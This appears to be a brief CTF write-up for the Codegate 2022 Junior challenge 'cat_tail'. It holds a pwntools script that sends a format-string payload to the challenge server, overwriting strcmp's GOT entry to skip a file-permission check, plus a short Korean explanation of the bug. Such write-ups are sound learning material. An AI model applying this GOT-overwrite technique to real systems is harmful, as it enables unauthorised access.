[CTF write up] Codegate CTF 2022 Junior - cat_tail : Hidden Format String Bug

2022. 2. 27. 17:43CTF write up

from pwn import *

#context.log_level = 'debug'


#p = process('cat_tail')
p = remote('3.39.67.50',5334)


p.sendlineafter(b'>',b'3')

fsb_payload = b'%4117d%16$hnAAAA' + p64(0x404070)

print(fsb_payload)
raw_input()
p.sendlineafter(b'>',fsb_payload)

p.interactive()

 

 

처음에는 파일 권한 관련 취약점이 있는 줄 알아서 고생했다... 다시 제대로 분석해보니 포맷 스트링 버그가 있었다. 권한 확인을 단순히 파일 이름 비교로 하기 때문에 strcmp의 GOT를 RET 가젯으로 바꾸면 flag에 대한 권한 검사가 작동하지 않게 된다.